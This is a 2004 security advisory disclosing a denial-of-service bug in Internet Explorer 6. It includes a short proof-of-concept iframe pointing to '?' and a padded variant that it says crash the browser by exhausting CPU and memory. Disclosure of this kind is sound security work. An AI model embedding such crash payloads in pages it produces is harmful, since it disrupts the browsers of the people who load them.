Internet Explorer 6 - Crash

[E.Kellinis]

Formal Report
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Application: Internet Explorer
Vendors: http://www.microsoft.com
Version: 6.0.2800
Platforms: Windows
Bug: Crash(D.O.S)
Risk: Low
Exploitation: Local with browser
Date: 7 Apr 2004
Author: Emmanouel Kellinis
e-mail: me@cipher(dot)org(dot)uk
web: http://www.cipher.org.uk
List : BugTraq(SecurityFocus)
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=======
Product
=======
A popular Web browser, created by Microsoft,
used to view pages on the World Wide Web.

===
Bug
===
Iframe element(TAG) creates an inline frame
that contains another document. If you use the
character '?' as the document , Internet explorer
starts an infinite loop of IFrames inside Iframes ,
this causes IE's crash.


=====================
Proof Of Concept Code
=====================

Create a web page and you add an IFRAME which
points to --> ?

Example : < iframe src= " ? " >

Crashes completely IE 6 in about 20 secs and consumes
more than 24 MBs of RAM and uses 99% of the CPU power.
Additionally, memory consumption and Crashing time
can vary , depending on how many characters you add
after the '?' character.

< iframe src= " ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA
AAAAAAAAAA " >


Emmanouel Kellinis
http://www.cipher.org.uk


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*PK:http://www.cipher.org.uk/files/pgp/cipherorguk.public.key.txt
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